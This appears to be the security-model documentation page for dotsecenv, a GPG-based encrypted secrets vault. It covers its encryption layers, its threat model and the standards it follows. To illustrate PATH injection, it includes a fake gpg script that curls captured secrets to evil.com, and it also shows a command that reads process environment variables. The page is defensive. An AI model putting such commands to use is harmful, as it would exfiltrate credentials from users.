Skip to content

Security Model

dotsecenv uses a layered encryption model combining symmetric and asymmetric cryptography. Understanding what it protects—and what it doesn’t—helps you use it effectively.

┌─────────────────────────────────────────────────────────────┐
│ Secret Value │
│ "my-password" │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Symmetric Encryption (AES-256-GCM) │
│ │
│ Random session key (256-bit) + Nonce (96-bit) │
│ → Encrypted data + Authentication tag │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Asymmetric Encryption (GPG) │
│ │
│ Session key encrypted for each recipient's public key │
│ → One key blob per authorized identity │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Cryptographic Signature (GPG) │
│ │
│ SHA-256/SHA-512 hash signed with originator's key │
│ → Detached signature for integrity + non-repudiation │
└─────────────────────────────────────────────────────────────┘

The choice of SHA-256/SHA-512 depends on the originator’s key strength.

Asymmetric encryption (RSA/ECC) is slow for large data. Symmetric encryption (AES) is fast but requires secure key exchange.

Hybrid encryption gets the best of both:

  1. Generate a random session key (fast)
  2. Encrypt data with AES-256-GCM using session key (fast, authenticated)
  3. Encrypt session key with each recipient’s public key (slow, but small data)
  4. Sign the result with originator’s private key (authenticity)

When sharing a secret with 5 people, the secret is encrypted once. Only the session key is encrypted 5 times:

Secret Value → AES-256-GCM → Encrypted Data (1 copy)
├─→ Session key encrypted for Alice
├─→ Session key encrypted for Bob
├─→ Session key encrypted for Carol
├─→ Session key encrypted for Dave
└─→ Session key encrypted for Eve

The primary threat model. Secrets are encrypted in the vault file, so committing it doesn’t expose plaintext.

Terminal window
git add vault # Safe—secrets are encrypted
git push # Only encrypted blobs pushed

An attacker who obtains the vault file cannot read secrets without the private keys.

If someone accesses your filesystem (backup, shared drive, stolen laptop), they see only:

  • Encrypted vault entries
  • Public key metadata (fingerprints, UIDs)
  • Timestamps

No plaintext secrets.

Every vault entry includes a cryptographic signature. If someone modifies an entry:

Terminal window
dotsecenv validate
# Error: signature verification failed for entry 42

The signature is created with the originator’s private key, so:

  • You know who created each entry
  • You can detect modifications
  • There’s non-repudiation for audits

The config file specifies minimum algorithm requirements:

approved_algorithms:
- rsa:3072
- ecdsa:p384
- eddsa:ed25519

dotsecenv refuses to encrypt/decrypt with weaker algorithms.

In SUID mode, dotsecenv blocks write operations to prevent privilege escalation attacks. Read operations only.

dotsecenv supports configuring an absolute path to the GPG executable via gpg.program. This provides several security benefits:

When GPG is resolved via PATH, an attacker who can influence the PATH environment variable can redirect all cryptographic operations to a malicious binary:

Terminal window
# Attacker prepends malicious directory to PATH
export PATH=/tmp/evil:$PATH
# Creates fake gpg that steals secrets
cat > /tmp/evil/gpg << 'EOF'
#!/bin/bash
# Log all arguments and stdin to attacker
curl -X POST https://evil.com/steal -d "$(cat)"
# Then call real gpg to avoid detection
/usr/bin/gpg "$@"
EOF
chmod +x /tmp/evil/gpg
# Now dotsecenv unknowingly uses the malicious gpg
dotsecenv secret get DATABASE_PASSWORD # Secrets exfiltrated!

With an absolute path configured, this attack fails:

gpg:
program: /usr/bin/gpg # Always uses this exact binary
BenefitDescription
PATH injection preventionAttackers cannot redirect GPG operations by modifying PATH, shell configs, or placing malicious binaries earlier in the search path
Deterministic executionThe same binary executes regardless of shell configuration, environment state, or current working directory
Multi-version isolationSystems with multiple GPG installations (Homebrew, system, MacPorts) always use the explicitly configured version
Audit complianceSecurity teams can verify exactly which binary handles cryptographic operations
Container safetyWorks reliably in containers where PATH may be minimal or misconfigured
CI/CD reproducibilityDifferent runners with different PATH configurations still use the same GPG binary

An absolute path can point to a wrapper script for additional security controls:

/usr/local/bin/gpg-audited
#!/bin/bash
# Wrapper that logs all GPG operations
LOG_FILE="/var/log/gpg-audit.log"
echo "$(date -Iseconds) USER=$USER CMD=gpg ARGS=$*" >> "$LOG_FILE"
# Optional: Block dangerous operations
if [[ "$*" == *"--delete-key"* ]]; then
echo "Error: Key deletion blocked by policy" >&2
exit 1
fi
exec /usr/bin/gpg "$@"
gpg:
program: /usr/local/bin/gpg-audited

This enables:

  • Audit logging of all cryptographic operations
  • Policy enforcement (block certain operations)
  • Integration with hardware security modules (HSMs)
  • Rate limiting to prevent abuse

In strict mode (strict: true), dotsecenv requires an explicit gpg.program path:

strict: true
gpg:
program: /usr/bin/gpg # Required in strict mode

This prevents accidental reliance on PATH resolution in security-sensitive environments.


An attacker with root access to your system can:

  • Read process memory
  • Intercept GPG passphrase entry
  • Access decrypted secrets in environment variables
  • Attach debuggers to running processes

Mitigation: Full-disk encryption, secure boot, hardware security modules (HSMs).

If your GPG private key is stolen, the attacker can:

  • Decrypt any secret encrypted to your key
  • Impersonate you (create signatures)
  • Access historical vault entries

Mitigation: Strong passphrase, hardware tokens (YubiKey), key rotation.

Once a secret is decrypted and set as an environment variable, any process can read it:

Terminal window
# Other processes can see this
cat /proc/$$/environ | tr '\0' '\n' | grep SECRET

Mitigation: Minimal scope, process isolation, containers.

Timing attacks, cache attacks, and other side-channel techniques are out of scope:

  • Requires specialized hardware/software
  • Mitigated at the GPG/OpenSSL layer
  • Defense in depth with secure infrastructure

Current public-key cryptography (RSA, ECC) is vulnerable to quantum computers:

  • Shor’s algorithm breaks RSA/ECC
  • AES-256 remains strong (Grover’s algorithm halves effective key size)

Mitigation: GPG is working on post-quantum algorithms. When available, dotsecenv will support them.

dotsecenv trusts the system clock. Timestamps in vault entries can be manipulated by setting system time before storage.

This is acceptable because:

  • Attackers can’t modify existing entries (signatures prevent this)
  • Consumers can choose to trust/distrust specific fingerprints
  • The primary use case is developer workflows, not forensic timestamping

PropertyMechanismStrength
ConfidentialityAES-256-GCM256-bit symmetric
Key protectionGPG (RSA/ECC)2048-bit+ RSA, P-384+ ECC
IntegrityAEAD + HMAC128-bit authentication tag
AuthenticityDetached signaturesSHA-256/SHA-512
Non-repudiationGPG signaturesTied to specific key

dotsecenv cryptographic operations align with the following NIST and IETF standards:

RFC 9580 — OpenPGP (2024 revision)

  • Mandates AEAD (Authenticated Encryption with Associated Data)
  • AES-256-GCM as the default symmetric cipher
  • Replaces RFC 4880’s CFB mode with modern authenticated encryption

NIST SP 800-38D — GCM Mode

  • Specifies Galois/Counter Mode for AES
  • Provides both confidentiality and authenticity
  • 128-bit authentication tags prevent tampering

FIPS 186-5 — Digital Signature Standard (2023)

  • Approves RSA, ECDSA, and EdDSA for digital signatures
  • Deprecates DSA (removed from dotsecenv’s approved algorithms)
  • EdDSA (Ed25519, Ed448) added as approved algorithms

Vault entries are signed using FIPS 186-5 compliant algorithms:

  • RSA — RSASSA-PKCS1-v1_5 or RSASSA-PSS (2048-bit minimum)
  • ECDSA — P-384, P-521 curves
  • EdDSA — Ed25519 for performance, Ed448 for higher security

FIPS 140-3 — Security Requirements for Cryptographic Modules

  • Default configuration enforces FIPS-compliant algorithm minimums
  • Actual compliance depends on underlying GPG/libgcrypt installation
  • Use FIPS-validated cryptographic libraries in regulated environments

Since v0.3.0, dotsecenv uses Go’s native FIPS 140-3 validated cryptographic modules, which provide certified implementations of AES, SHA, RSA, and ECC operations across all supported platforms.


dotsecenv uses FIPS 186-5 compliant defaults out of the box:

ComponentAlgorithm
SymmetricAES-256-GCM
HashSHA-256/SHA-512
AsymmetricRSA 2048+, ECC P-384/P-521, EdDSA Ed25519/Ed448

Every vault entry is signed. Verification happens on read:

Entry signature covers:
├── Secret key name
├── Available-to list (fingerprints)
├── Encrypted value blob
├── Timestamp
└── Originator fingerprint

If any field is modified, verification fails:

Terminal window
dotsecenv validate
# ✓ Vault header: valid
# ✓ Identity entries: 2 valid
# ✗ Secret entry 5: signature mismatch
# Error: vault validation failed

The vault is designed to be safe in public repositories:

  • All secrets encrypted with AES-256-GCM
  • Session keys protected by GPG public-key encryption
  • No plaintext secrets in any entry
  • Public keys and fingerprints are not sensitive

However, defense in depth recommends:

  • Private repositories when possible
  • Access control at repository level
  • Regular key rotation

ThreatProtected?Notes
Git exposureYesEncrypted at rest
File theftYesRequires private key
TamperingYesSignature verification
Weak algorithmsYesConfig-enforced minimums
PATH injectionYesConfigure absolute gpg.program path
Root accessNoOS-level compromise
Key theftNoGuard your private key
Env snoopingNoPost-decryption risk
QuantumNoFuture GPG update